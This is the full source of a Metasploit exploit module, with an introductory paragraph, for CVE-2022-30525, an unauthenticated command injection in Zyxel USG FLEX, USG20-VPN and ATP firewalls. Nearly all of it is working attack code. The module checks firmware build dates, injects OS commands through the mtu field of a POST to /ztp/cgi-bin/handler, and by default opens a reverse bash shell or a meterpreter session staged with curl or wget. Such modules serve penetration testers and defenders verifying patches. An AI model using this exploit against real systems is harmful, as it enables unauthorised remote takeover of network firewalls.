This Metasploit module exploits CVE-2022-30525, an unauthenticated remote command injection vulnerability affecting Zyxel firewalls with zero touch provisioning (ZTP) support. By sending a malicious setWanPortSt command containing an mtu field with a crafted OS command to the /ztp/cgi-bin/handler page, an attacker can gain remote command execution as the nobody user. Affected Zyxel models are USG FLEX 50, 50W, 100W, 200, 500, 700 using firmware 5.21 and below, USG20-VPN and USG20W-VPN using firmware 5.21 and below, and ATP 100, 200, 500, 700, 800 using firmware 5.21 and below.
ab9073cd14f8ea730621aa93b69a0d03cb5f9d8e92dbc88068fca19ff77f6fab##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Zyxel Firewall ZTP Unauthenticated Command Injection',
'Description' => %q{
This module exploits CVE-2022-30525, an unauthenticated remote
command injection vulnerability affecting Zyxel firewalls with zero
touch provisioning (ZTP) support. By sending a malicious setWanPortSt
command containing an mtu field with a crafted OS command to the
/ztp/cgi-bin/handler page, an attacker can gain remote command execution
as the nobody user.
Affected Zyxel models are:
* USG FLEX 50, 50W, 100W, 200, 500, 700 using firmware 5.21 and below
* USG20-VPN and USG20W-VPN using firmware 5.21 and below
* ATP 100, 200, 500, 700, 800 using firmware 5.21 and below
},
'License' => MSF_LICENSE,
'Author' => [
'jbaines-r7' # Vulnerability discovery and Metasploit module
],
'References' => [
[ 'CVE', '2022-30525' ],
[ 'URL', 'https://www.rapid7.com/blog/post/2022/05/12/cve-2022-30525-fixed-zyxel-firewall-unauthenticated-remote-command-injection/']
],
'DisclosureDate' => '2022-04-28',
'Platform' => ['unix', 'linux'],
'Arch' => [ARCH_CMD, ARCH_MIPS64,],
'Privileged' => false,
'Targets' => [
[
'Shell Dropper',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_bash'
}
}
],
[
'Linux Dropper',
{
'Platform' => 'linux',
'Arch' => [ARCH_MIPS64],
'Type' => :linux_dropper,
'CmdStagerFlavor' => [ 'curl', 'wget' ],
'DefaultOptions' => {
'PAYLOAD' => 'linux/mips64/meterpreter_reverse_tcp'
}
}
]
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'RPORT' => 443,
'SSL' => true
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
}
)
)
register_options([
OptString.new('TARGETURI', [true, 'Base path', '/'])
])
end
# Checks the build date that is embedded in the landing page. If it finds a build
# date older than April 20, 2022 then it will additionally check if the model is
# a USG FLEX, USG20[w]?-VPN, or an ATP system. Command execution is blind so this
# seems like a reasonable approach.
def check
res = send_request_cgi('method' => 'GET', 'uri' => normalize_uri(target_uri.path, '/'))
unless res
return CheckCode::Unknown('The target failed to respond to check.')
end
unless res.code == 200
return CheckCode::Safe('Failed to retrieve /')
end
ver = res.body[/favicon\.ico\?v=(?<build_date>[0-9]{6,})/, :build_date]
if ver.nil?
return CheckCode::Safe('Could not extract a version number')
end
if ver[0..5].to_i < 220420
model = res.get_html_document.xpath('//title').text
if model.include?('USG FLEX') || model.include?('ATP') || (model.include?('USG20') && model.include?('-VPN'))
return CheckCode::Appears("This was determined by the model and build date: #{model}, #{ver}")
end
end
CheckCode::Safe("This determination is based on the build date string: #{ver}.")
end
def execute_command(cmd, _opts = {})
handler_uri = normalize_uri(target_uri.path, '/ztp/cgi-bin/handler')
print_status("Sending command to #{handler_uri}")
# this is the POST data. exploit goes into the mtu field. technically, `data` is a usable vector too
# but it's more involved.
http_payload = {
'command' => 'setWanPortSt',
'proto' => 'dhcp',
'port' => Rex::Text.rand_text_numeric(4).to_s,
'vlan_tagged' => Rex::Text.rand_text_numeric(4).to_s,
'vlanid' => Rex::Text.rand_text_numeric(4).to_s,
'mtu' => ";#{cmd};",
'data' => ''
}
res = send_request_cgi({
'method' => 'POST',
'uri' => handler_uri,
'headers' =>
{
'Content-Type' => 'application/json; charset=utf-8'
},
'data' => http_payload.to_json
})
# Successful exploitation can result in no response (connection being held open by a reverse shell)
# or, if the command executes immediately, a response with a 503.
if res && res.code != 503
fail_with(Failure::UnexpectedReply, "The target replied with HTTP status #{res.code}. No reply was expected.")
end
print_good('Command successfully executed.')
end
def exploit
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
case target['Type']
when :unix_cmd
execute_command(payload.encoded)
when :linux_dropper
execute_cmdstager
end
end
end